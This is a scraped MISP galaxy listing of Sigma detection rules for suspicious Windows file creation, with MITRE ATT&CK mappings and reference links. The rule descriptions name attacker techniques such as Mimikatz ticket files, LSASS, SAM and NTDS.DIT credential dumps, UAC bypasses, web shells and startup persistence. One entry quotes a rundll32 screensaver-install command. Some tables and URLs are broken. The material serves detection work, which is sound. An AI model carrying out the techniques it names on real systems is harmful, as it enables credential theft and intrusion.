<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>

Mimikatz Kirbi File Creation

Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.

The tag is: misp-galaxy:sigma-rules="Mimikatz Kirbi File Creation"

View relationships graph

Mimikatz Kirbi File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"

Table 9323. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestlab.blog/2019/10/21/persistence-security-support-provider/">https://pentestlab.blog/2019/10/21/persistence-security-support-provider/</a></td>
</tr>
<tr>
<td><a href="https://cobalt.io/blog/kerberoast-attack-techniques">https://cobalt.io/blog/kerberoast-attack-techniques</a></td>
</tr>
</tbody>
</table>

PSScriptPolicyTest Creation By Uncommon Process

Detects the creation of the "PSScriptPolicyTest" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.
Wmiexec Default Output File

Detects the creation of the default output filename used by the wmiexec tool

The tag is: misp-galaxy:sigma-rules="Wmiexec Default Output File"

View relationships graph

Wmiexec Default Output File has relationships with:


RemCom Service File Creation

Detects default RemCom service filename which indicates RemCom service installation and execution

The tag is: misp-galaxy:sigma-rules="RemCom Service File Creation"

View relationships graph

RemCom Service File Creation has relationships with:

New Outlook Macro Created

Detects the creation of a macro file for Outlook.

The tag is: `misp-galaxy:sigma-rules="New Outlook Macro Created"`

View relationships graph

New Outlook Macro Created has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"` with `estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"` with `estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"` with `estimative-language:likelihood-probability="almost-certain"

Table 9327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/">https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/</a></td>
</tr>
</tbody>
</table>

Suspicious Screensaver Binary File Creation

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

The tag is: `misp-galaxy:sigma-rules="Suspicious Screensaver Binary File Creation"`

View relationships graph

Suspicious Screensaver Binary File Creation has relationships with:


Table 9328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

6008
Potential Startup Shortcut Persistence Via PowerShell.EXE

Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"

The tag is: misp-galaxy:sigma-rules="Potential Startup Shortcut Persistence Via PowerShell.EXE"

View relationships graph

Potential Startup Shortcut Persistence Via PowerShell.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 9329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md">https://redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md</a></td>
</tr>
</tbody>
</table>

Office Macro File Creation From Suspicious Process

Detects the creation of a office macro file from a suspicious process

The tag is: misp-galaxy:sigma-rules="Office Macro File Creation From Suspicious Process"

View relationships graph

Office Macro File Creation From Suspicious Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
Dynamic CSharp Compile Artefact

When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.

The tag is: `misp-galaxy:sigma-rules="Dynamic CSharp Compile Artefact"`

View relationships graph

Dynamic CSharp Compile Artefact has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004"` with estimative-language:likelihood-probability="almost-certain"

Startup Folder File Write

A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.

The tag is: `misp-galaxy:sigma-rules="Startup Folder File Write"`

View relationships graph

Startup Folder File Write has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
UAC Bypass Using NTFS Reparse Point - File

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using NTFS Reparse Point - File"`

View relationships graph

UAC Bypass Using NTFS Reparse Point - File has relationships with:


Table 9333. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml</a></td>
</tr>
</tbody>
</table>

NTDS Exfiltration Filename Patterns

Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.

The tag is: `misp-galaxy:sigma-rules="NTDS Exfiltration Filename Patterns"`

View relationships graph

NTDS Exfiltration Filename Patterns has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9334. Table References
Suspicious Interactive PowerShell as SYSTEM

Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context

The tag is: misp-galaxy:sigma-rules="Suspicious Interactive PowerShell as SYSTEM"

View relationships graph

Suspicious Interactive PowerShell as SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9335. Table References

Links

https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm

UAC Bypass Using IDiagnostic Profile - File

Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using IDiagnostic Profile - File"

View relationships graph

UAC Bypass Using IDiagnostic Profile - File has relationships with:


Table 9336. Table References
Legitimate Application Dropped Archive

Detects programs on a Windows system that should not write an archive to disk

The tag is: `misp-galaxy:sigma-rules="Legitimate Application Dropped Archive"`

View relationships graph

Legitimate Application Dropped Archive has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9337. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326">https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326</a></td>
</tr>
</tbody>
</table>

Suspicious Desktopimgdownldr Target File

Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension

The tag is: `misp-galaxy:sigma-rules="Suspicious Desktopimgdownldr Target File"`

View relationships graph

Suspicious Desktopimgdownldr Target File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9338. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1278977301745741825">https://twitter.com/SBousseaden/status/1278977301745741825</a></td>
</tr>
</tbody>
</table>
UAC Bypass Using Consent and Comctl32 - File

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using Consent and Comctl32 - File"

View relationships graph

UAC Bypass Using Consent and Comctl32 - File has relationships with:


Table 9339. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
</tbody>
</table>

Potential Suspicious PowerShell Module File Created

Detects the creation of a new PowerShell module in the first folder of the module directory structure "\WindowsPowerShell\Modules\malware\malware.psm1". This is somewhat an uncommon practice as legitimate modules often includes a version folder.

The tag is: misp-galaxy:sigma-rules="Potential Suspicious PowerShell Module File Created"

Table 9340. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_susp_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_susp_creation.yml</a></td>
</tr>
</tbody>
</table>

Potential SAM Database Dump

Detects the creation of files that look like exports of the local SAM (Security Account Manager)

The tag is: misp-galaxy:sigma-rules="Potential SAM Database Dump"

View relationships graph

Potential SAM Database Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with
**PowerShell Script Dropped Via PowerShell.EXE**

Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.

The tag is: `misp-galaxy:sigma-rules="PowerShell Script Dropped Via PowerShell.EXE"`

**UAC Bypass Using MSConfig Token Modification - File**

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using MSConfig Token Modification - File"`

View relationships graph

UAC Bypass Using MSConfig Token Modification - File has relationships with:

**Rclone Config File Creation**

Detects Rclone config files being created

The tag is: `misp-galaxy:sigma-rules="Rclone Config File Creation"`

View relationships graph

Rclone Config File Creation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

Table 9344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/">https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/</a></td>
</tr>
</tbody>
</table>

**Suspicious Unattend.xml File Access**

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process

The tag is: `misp-galaxy:sigma-rules="Suspicious Unattend.xml File Access"`

View relationships graph

Suspicious Unattend.xml File Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bf365fee2a9/atomics/T1552.001/T1552.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bf365fee2a9/atomics/T1552.001/T1552.001.md</a></td>
</tr>
</tbody>
</table>

**EVTX Created In Uncommon Location**

Detects the creation of new files with the ".evtx" extension in non-common locations. Which could indicate tampering with default evtx locations in order to evade security controls

The tag is: `misp-galaxy:sigma-rules="EVTX Created In Uncommon Location"`
EVTX Created In Uncommon Location has relationships with:


Table 9346. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations.yml</a></td>
</tr>
</tbody>
</table>

**LiveKD Driver Creation**

Detects the creation of the LiveKD driver, which is used for live kernel debugging

The tag is: *misp-galaxy:sigma-rules*="LiveKD Driver Creation"

Table 9347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>

**UAC Bypass Abusing Winsat Path Parsing - File**

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

The tag is: *misp-galaxy:sigma-rules*="UAC Bypass Abusing Winsat Path Parsing - File"

Table 9348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
</tbody>
</table>
Publisher Attachment File Dropped In Suspicious Location

Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents

The tag is: `misp-galaxy: sigma-rules="Publisher Attachment File Dropped In Suspicious Location"`

Table 9349. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/EmericNasi/status/1623224526220804098">https://twitter.com/EmericNasi/status/1623224526220804098</a></td>
</tr>
</tbody>
</table>

UAC Bypass Using IEInstal - File

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)

The tag is: `misp-galaxy: sigma-rules="UAC Bypass Using IEInstal - File"

View relationships graph

UAC Bypass Using IEInstal - File has relationships with:


Table 9350. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
</tbody>
</table>

Assembly DLL Creation Via AspNetCompiler

Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.

The tag is: `misp-galaxy: sigma-rules="Assembly DLL Creation Via AspNetCompiler"

Table 9351. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>
PsExec Service File Creation

Detects default PsExec service filename which indicates PsExec service installation and execution

The tag is: misp-galaxy: sigma-rules="PsExec Service File Creation"

View relationships graph

PsExec Service File Creation has relationships with:


Potential Initial Access via DLL Search Order Hijacking

Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.

The tag is: misp-galaxy: sigma-rules="Potential Initial Access via DLL Search Order Hijacking"

View relationships graph

Potential Initial Access via DLL Search Order Hijacking has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
Suspicious Creation with Colorcpl

Once executed, colorcpl.exe will copy the arbitrary file to `c:\windows\system32\spool\drivers\color\`

The tag is: *misp-galaxy:sigma-rules*="Suspicious Creation with Colorcpl"

View relationships graph

Suspicious Creation with Colorcpl has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

File With Uncommon Extension Created By An Office Application

Detects the creation of files with an executable or script extension by an Office application.

The tag is: *misp-galaxy:sigma-rules*="File With Uncommon Extension Created By An Office Application"

View relationships graph

File With Uncommon Extension Created By An Office Application has relationships with:

Hijack Legit RDP Session to Move Laterally

Detects the usage of tsclient share to place a backdoor on the RDP source machine’s startup folder.

The tag is: `misp-galaxy:sigma-rules="Hijack Legit RDP Session to Move Laterally"`

View relationships graph

Hijack Legit RDP Session to Move Laterally has relationships with:


**Table 9356. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Suspicious File Creation Activity From Fake Recycle.Bin Folder

Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware.

The tag is: `misp-galaxy:sigma-rules="Suspicious File Creation Activity From Fake Recycle.Bin Folder"`

**Table 9357. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/infected-usb-steal-secrets">https://www.mandiant.com/resources/blog/infected-usb-steal-secrets</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/">https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec.yml</a></td>
</tr>
</tbody>
</table>
LSASS Process Memory Dump Creation Via Taskmgr.EXE

Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.

The tag is: `misp-galaxy:sigma-rules="LSASS Process Memory Dump Creation Via Taskmgr.EXE"`

View relationships graph

LSASS Process Memory Dump Creation Via Taskmgr.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9358. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3c730f4b9f6e388c139c05bf44bbb8/atomics/T1003.001/T1003.001.md#L1">https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3c730f4b9f6e388c139c05bf44bbb8/atomics/T1003.001/T1003.001.md#L1</a></td>
</tr>
</tbody>
</table>

NTDS.DIT Created

Detects creation of a file named "ntds.dit" (Active Directory Database)

The tag is: `misp-galaxy:sigma-rules="NTDS.DIT Created"`

View relationships graph

NTDS.DIT Created has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9359. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_creation.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via Notepad++ Plugins

Detects creation of new ".dll" files inside the plugins directory of a notepad++ installation by a process other than "gup.exe". Which could indicates possible persistence
The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Notepad++ Plugins"`

### SafetyKatz Default Dump Filename

Detects default lsass dump filename from SafetyKatz

The tag is: `misp-galaxy:sigma-rules="SafetyKatz Default Dump Filename"`

View relationships graph

SafetyKatz Default Dump Filename has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

### Windows Binaries Write Suspicious Extensions

Detects Windows executables that writes files with suspicious extensions

The tag is: `misp-galaxy:sigma-rules="Windows Binaries Write Suspicious Extensions"`

View relationships graph

Windows Binaries Write Suspicious Extensions has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
ISO or Image Mount Indicator in Recent Files

Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.

The tag is: misp-galaxy:sigma-rules="ISO or Image Mount Indicator in Recent Files"

View relationships graph

ISO or Image Mount Indicator in Recent Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 9363. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/">https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml</a></td>
</tr>
</tbody>
</table>

ScreenConnect Temporary Installation Artefact

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="ScreenConnect Temporary Installation Artefact"

View relationships graph

ScreenConnect Temporary Installation Artefact has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 9364. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fc3d7427bcf36f3e2a9/atomics/T1219/T1219.md#atomic-test-5-screenconnect-application-download-and-install-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fc3d7427bcf36f3e2a9/atomics/T1219/T1219.md#atomic-test-5-screenconnect-application-download-and-install-on-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_artefact.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_artefact.yml</a></td>
</tr>
</tbody>
</table>

**Legitimate Application Dropped Executable**

Detects programs on a Windows system that should not write executables to disk

The tag is: misp-galaxy:sigma-rules="Legitimate Application Dropped Executable"

View relationships graph

Legitimate Application Dropped Executable has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9365. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326">https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326</a></td>
</tr>
</tbody>
</table>

**Suspicious Startup Folder Persistence**

Detects when a file with a suspicious extension is created in the startup folder

The tag is: misp-galaxy:sigma-rules="Suspicious Startup Folder Persistence"

View relationships graph

Suspicious Startup Folder Persistence has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 9366. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>6025</td>
</tr>
</tbody>
</table>
Potential Persistence Attempt Via ErrorHandler.Cmd

Detects creation of a file named "ErrorHandler.cmd" in the "C:\WINDOWS\Setup\Scripts\" directory which could be used as a method of persistence. The content of C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is read whenever some tools under C:\WINDOWS\System32\oobe\ (e.g. Setup.exe) fail to run for any reason.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Attempt Via ErrorHandler.Cmd"

Table 9367. Table References
Links
https://github.com/last-byte/PersistenceSniper

Renamed VsCode Code Tunnel Execution - File Indicator

Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility by an "Image" or "Process" other than VsCode.

The tag is: misp-galaxy:sigma-rules="Renamed VsCode Code Tunnel Execution - File Indicator"

Table 9368. Table References
Links
https://badoption.eu/blog/2023/01/31/code_c2.html
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscodetunnel_renamed_execution.yml

ISO File Created Within Temp Folders

Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.

The tag is: misp-galaxy:sigma-rules="ISO File Created Within Temp Folders"

View relationships graph
ISO File Created Within Temp Folders has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 9369. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image">https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/133680/malware/dll-sideloadingspread-qakbot.html">https://securityaffairs.co/wordpress/133680/malware/dll-sideloadingspread-qakbot.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Sam0x90/status/1552011547974696960">https://twitter.com/Sam0x90/status/1552011547974696960</a></td>
</tr>
</tbody>
</table>

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

The tag is: *misp-galaxy:sigma-rules*="AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File"

View relationships graph

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File has relationships with:


Table 9370. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

SCR File Write Event

Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example.

The tag is: *misp-galaxy:sigma-rules*="SCR File Write Event"
SCR File Write Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Office Macro File Download

Detects the creation of a new office macro files on the systems via an application (browser, mail client).

The tag is: misp-galaxy: sigma-rules="Office Macro File Download"

New Shim Database Created in the Default Directory

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

The tag is: misp-galaxy: sigma-rules="New Shim Database Created in the Default Directory"
Potential Webshell Creation On Static Website

Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.

The tag is: misp-galaxy:sigma-rules="Potential Webshell Creation On Static Website"

View relationships graph

Potential Webshell Creation On Static Website has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Suspicious Get-Variable.exe Creation

Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.
The tag is: *misp-galaxy:sigma-rules=*“Suspicious Get-Variable.exe Creation”*

View relationships graph

Suspicious Get-Variable.exe Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*“Event Triggered Execution - T1546” with estimative-language:likelihood-probability=“almost-certain”
- related-to: *misp-galaxy:mitre-attack-pattern=*“Obfuscated Files or Information - T1027” with estimative-language:likelihood-probability=“almost-certain”

Table 9375. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.joesandbox.com/analysis/465533/0/html">https://www.joesandbox.com/analysis/465533/0/html</a></td>
</tr>
</tbody>
</table>

**WerFault LSASS Process Memory Dump**

Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials

The tag is: *misp-galaxy:sigma-rules=*“WerFault LSASS Process Memory Dump”*

View relationships graph

WerFault LSASS Process Memory Dump has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*“LSASS Memory - T1003.001” with estimative-language:likelihood-probability=“almost-certain”

Table 9376. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/helpsystems/nanodump">https://github.com/helpsystems/nanodump</a></td>
</tr>
</tbody>
</table>

**Office Macro File Creation**

Detects the creation of a new office macro files on the systems

The tag is: *misp-galaxy:sigma-rules=*“Office Macro File Creation”*

View relationships graph
Office Macro File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

